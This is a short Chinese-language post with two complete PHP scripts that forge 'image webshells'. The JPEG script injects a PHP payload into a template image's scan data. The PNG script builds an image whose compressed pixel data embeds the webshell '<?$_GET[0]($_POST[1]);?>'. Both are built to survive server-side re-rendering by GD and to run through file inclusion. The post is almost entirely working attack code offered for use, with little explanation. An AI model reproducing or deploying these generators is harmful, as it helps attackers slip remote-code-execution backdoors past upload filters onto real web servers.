圖片馬的二次渲染

這裡記錄兩個指令碼,分別是用來偽造能繞過二次渲染的jpg和png圖片馬.打法挺固定的,都是需要透過檔案包含來觸發,然後回顯會被寫入圖片.
首先是jpg指令碼,這個指令碼要求目錄中由一個1.jpg檔案,然後是以這個檔案為基礎去進行偽造.

<?php
$miniPayload = "<?=phpinfo();?>";

if (!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
    die('php-gd is not installed');
}

$filename = '1.jpg';

if (!file_exists($filename)) {
    die('File not found: ' . $filename);
}

set_error_handler("custom_error_handler");

for ($pad = 0; $pad < 1024; $pad++) {
    $nullbytePayloadSize = $pad;
    $dis = new DataInputStream($filename);
    $outStream = file_get_contents($filename);
    $extraBytes = 0;
    $correctImage = TRUE;

    if ($dis->readShort() != 0xFFD8) {
        die('Incorrect SOI marker');
    }

    while ((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
        $marker = $dis->readByte();
        $size = $dis->readShort() - 2;
        $dis->skip($size);
        if ($marker === 0xDA) {
            $startPos = $dis->seek();
            $outStreamTmp = 
                substr($outStream, 0, $startPos) . 
                $miniPayload . 
                str_repeat("\0", $nullbytePayloadSize) . 
                substr($outStream, $startPos);
            checkImage('_' . $filename, $outStreamTmp, TRUE);
            if ($extraBytes !== 0) {
                while ((!$dis->eof())) {
                    if ($dis->readByte() === 0xFF) {
                        if ($dis->readByte() !== 0x00) {
                            break;
                        }
                    }
                }
                $stopPos = $dis->seek() - 2;
                $imageStreamSize = $stopPos - $startPos;
                $outStream = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    substr(
                        str_repeat("\0", $nullbytePayloadSize) . 
                        substr($outStream, $startPos, $imageStreamSize),
                        0,
                        $nullbytePayloadSize + $imageStreamSize - $extraBytes
                    ) . 
                    substr($outStream, $stopPos);
            } elseif ($correctImage) {
                $outStream = $outStreamTmp;
            } else {
                break;
            }
            if (checkImage('payload_' . $filename, $outStream)) {
                die('Success!');
            } else {
                break;
            }
        }
    }
}
unlink('payload_' . $filename);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
    global $correctImage;
    file_put_contents($filename, $data);
    $correctImage = TRUE;
    imagecreatefromjpeg($filename);
    if ($unlink)
        unlink($filename);
    return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
    global $extraBytes, $correctImage;
    $correctImage = FALSE;
    if (preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
        if (isset($m[1])) {
            $extraBytes = (int)$m[1];
        }
    }
}

class DataInputStream {
    private $binData;
    private $order;
    private $size;

    public function __construct($filename, $order = false, $fromString = false) {
        $this->binData = '';
        $this->order = $order;
        if (!$fromString) {
            if (!file_exists($filename) || !is_file($filename))
                die('File not exists [' . $filename . ']');
            $this->binData = file_get_contents($filename);
        } else {
            $this->binData = $filename;
        }
        $this->size = strlen($this->binData);
    }

    public function seek() {
        return ($this->size - strlen($this->binData));
    }

    public function skip($skip) {
        $this->binData = substr($this->binData, $skip);
    }

    public function readByte() {
        if ($this->eof()) {
            die('End Of File');
        }
        $byte = substr($this->binData, 0, 1);
        $this->binData = substr($this->binData, 1);
        return ord($byte);
    }

    public function readShort() {
        if (strlen($this->binData) < 2) {
            die('End Of File');
        }
        $short = substr($this->binData, 0, 2);
        $this->binData = substr($this->binData, 2);
        if ($this->order) {
            $short = (ord($short[1]) << 8) + ord($short[0]);
        } else {
            $short = (ord($short[0]) << 8) + ord($short[1]);
        }
        return $short;
    }

    public function eof() {
        return !$this->binData || (strlen($this->binData) === 0);
    }
}
?>

然後是png格式的圖片馬.這個不需要使用已有圖片,直接去構造生成的.

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);
           
$img = imagecreatetruecolor(32, 32);
 
for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}
 
imagepng($img,'1.png');  //要修改的圖片的路徑
 
/* 木馬內容
<?$_GET[0]($_POST[1]);?>
 */ 
?>